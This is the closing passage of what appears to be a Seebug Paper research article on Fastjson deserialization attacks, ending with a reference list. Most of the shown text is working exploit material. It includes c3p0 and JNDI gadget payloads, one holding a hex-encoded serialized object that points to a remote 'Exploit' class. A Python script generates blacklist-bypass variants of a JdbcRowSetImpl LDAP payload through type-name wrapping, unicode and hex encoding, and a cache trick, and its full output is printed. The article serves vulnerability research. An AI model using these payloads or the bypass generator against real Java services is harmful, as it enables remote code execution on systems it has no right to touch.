]} payload6: { "rand1": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;" } } payload7: { "rand1": { "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "ldap://localhost:1389/Object", "loginTimeout": 0 } } ...and more |
The following is a small script that can transfer the basic payload out of various bypass variants, and also adds \u
,\x
encoding forms:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
#!usr/bin/env python # -*- coding:utf-8 -*- """ @author: longofo @file: fastjson_fuzz.py @time: 2020/05/07 """ import json from json import JSONDecodeError class FastJsonPayload: def __init__(self, base_payload): try: json.loads(base_payload) except JSONDecodeError as ex: raise ex self.base_payload = base_payload def gen_common(self, payload, func): tmp_payload = json.loads(payload) dct_objs = [tmp_payload] while len(dct_objs) > 0: tmp_objs = [] for dct_obj in dct_objs: for key in dct_obj: if key == "@type": dct_obj[key] = func(dct_obj[key]) if type(dct_obj[key]) == dict: tmp_objs.append(dct_obj[key]) dct_objs = tmp_objs return json.dumps(tmp_payload) # Increase the value of @type by the beginning of L, the end of ; def gen_payload1(self, payload: str): return self.gen_common(payload, lambda v: "L" + v + ";") # Increase the value of @type by the beginning of LL, the end of ;; def gen_payload2(self, payload: str): return self.gen_common(payload, lambda v: "LL" + v + ";;") # Carry on the value of @type \u format def gen_payload3(self, payload: str): return self.gen_common(payload, lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\") # Carry on the value of @type \x format def gen_payload4(self, payload: str): return self.gen_common(payload, lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\") # Generate cache bypass payload def gen_payload5(self, payload: str): cache_payload = { "rand1": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" } } cache_payload["rand2"] = json.loads(payload) return json.dumps(cache_payload) def gen(self): payloads = [] payload1 = self.gen_payload1(self.base_payload) yield payload1 payload2 = self.gen_payload2(self.base_payload) yield payload2 payload3 = self.gen_payload3(self.base_payload) yield payload3 payload4 = self.gen_payload4(self.base_payload) yield payload4 payload5 = self.gen_payload5(self.base_payload) yield payload5 payloads.append(payload1) payloads.append(payload2) payloads.append(payload5) for payload in payloads: yield self.gen_payload3(payload) yield self.gen_payload4(payload) if __name__ == '__main__': fjp = FastJsonPayload('''{ "rand1": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } }''') for payload in fjp.gen(): print(payload) print() |
For example JdbcRowSetImpl results:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}} {"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}} {"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}} {"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}} |
Some people also scan maven warehouse packages to find malicious exploits to conform jackson and fastjson. It seems that most of them are looking for jndi-type vulnerabilities. For the blacklist, you can look at this project, it ran to version 1.2.62, most blacklists ran out, but many were package, which specific class still have to look for one by one in the package.
Reference
- https://paper.seebug.org/994/#0x03
- https://paper.seebug.org/1155/
- https://paper.seebug.org/994/
- https://paper.seebug.org/292/
- https://paper.seebug.org/636/
- https://www.anquanke.com/post/id/182140#h2-1
- https://github.com/LeadroyaL/fastjson-blacklist
- http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
- http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
- https://xz.aliyun.com/t/7027#toc-4
- <https://zhuanlan.zhihu.com/p/99075925
- ...
Too many, thanks all people for their hard work.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1193/